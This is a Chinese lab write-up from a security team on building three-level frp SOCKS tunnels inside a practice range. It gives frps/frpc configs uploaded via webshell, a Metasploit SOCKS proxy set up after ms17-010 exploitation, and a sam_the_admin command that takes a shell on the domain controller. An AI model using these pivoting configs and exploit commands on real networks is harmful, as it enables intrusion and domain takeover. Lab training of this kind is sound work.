声明
以下内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。
0x01 前言
本文讲述由公司的一次内网靶场攻防,对多级代理的建立和配置进行分享,首先介绍一下靶场。
入口是有web漏洞的linux机器,横向到一个有漏洞的winPC上(双网卡),通过双网卡ms17-010到域成员机器上,最后打域控。这里因为篇幅原因,不说攻打靶场的全过程,直接到frp隧道的建立和连接。
攻击机(kali):172.16.222.128
入口机:192.168.10.10
winPC:192.168.10.20/ 192.168.20.10
ms17-010:
192.168.20.20/
192.168.30.20
域控:192.168.30.10
0x02 一级代理的建立
在这里简单说一下个人对frp隧道的想法。
frp是指搭建好隧道后,可以通过服务端(frps)将流量转发至客户端(frpc),通过设置代理的方式将流量转发至内网。
此处我们进行一级隧道搭建,将我们的流量转发至入口机,建立正向隧道,将攻击机流量代理至入口机。
1.我们首先需要将服务端(frps)上传在事先准备好的攻击机kali机器上
frps服务端的配置信息
frps.ini:
[common]
bind_port = 7000
启动服务端
./frps -c frps.ini
2.将客户端(frpc)通过webshell上传到入口机
frpc客户端的配置信息
frpc.ini
[common]
server_addr=172.16.222.128
server_port=7000
[socks5_to_1]
type=tcp
plugin=socks5
remote_port=10088
启动客户端
3.我们这时可以看到一级代理建立成功
4. 一级代理的使用
代理隧道搭建成功后,我们需要在本机设置全局代理。
至此一级代理搭建完成我们可以访问到192.168.10.*网段。
0x03 二级代理的建立
前面已讲述了利用frp搭建socks隧道,此处搭建二级代理是对一级代理的延申,使其可以将流量转发至内网的192.168.20.*网段。
1.首先我们将服务端(frps)通过webshell上传到入口机
frps服务端的配置信息
frps.ini:
[common]
bind_port = 7000
启动服务端。
2.将客户端(frpc)通过webshell上传到winPC机器
frpc客户端的配置信息
frpc_2.ini
[common]
server_addr = 192.168.10.10
server_port = 7000
[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 10088
启动客户端。
3.将新的客户端配置文件(frpc_1.ini)上传到入口机
frpc_1.ini配置信息
frpc_1.ini:
[common]
server_addr = 172.16.222.128
server_port = 7000
[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 10088
[socks5_to_2]
type = tcplocal_ip = 127.0.0.1
local_port = 10088
remote_port = 12020
4.具体运行流程
在入口机运行frps服务端监听->在winPC运行frpc客户端->在入口机运行新的frpc客户端->kill掉入口机之前的frpc。
5.我们这时可以看到二级代理建立成功
6. 二级代理的使用
和一级代理相同,将本地设置全局代理,或在网页设置代理。(注意端口)
至此二级代理搭建完成我们可以访问到192.168.20.*网段。此时攻击机代理端口分别对应:10088 --> 192.168.10.* 网段12020 --> 192.168.20.* 网段
0x04 三级代理的建立
因为可以访问到20网段的信息,所以我们可以通过msf对靶机ms17-010漏洞进行利用,从而使其上线,并在msf中配置三级代理。
1.配置三级代理信息
msf6 exploit(windows/smb/ms17_010_eternalblue) > use
auxiliary/server/socks_proxy //设置代理
msf6 auxiliary(server/socks_proxy) > show options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on
USERNAME no Proxy username for SOCKS5 listener
VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > set session 2 //设置需要代理的session会话session => 2
msf6 auxiliary(server/socks_proxy) > exploit //建立监听
[*] Auxiliary module running as background job 0.msf6 auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server
2.配置代理服务
sudo vim /etc/proxychains4.conf
添加socks5代理
socks5 127.0.0.1 12020
利用sam-the-admin-main脚本获取域权限
sudo proxychains4 python3 sam_the_admin.py HACKER/user:qnmb@123! -dc-ip 192.168.30.10 -shell
至此三级代理搭建完成我们可以通过漏洞执行本地脚本从而获取域控。
0x05 总结
三级代理的建立和配置文件的配置信息都已经在文中讲述,但在实战中 虽然通过代理 我们可以将数据包代理至靶机,但是,虽然请求包进入了内网,因为我们代理的靶机无法访问外网,所以大部分工具无法收到响应包,也就会探测失败。所以我们会在后续文章中讲解反向socks隧道的搭建。
长白山攻防实验室
学习最新技术知识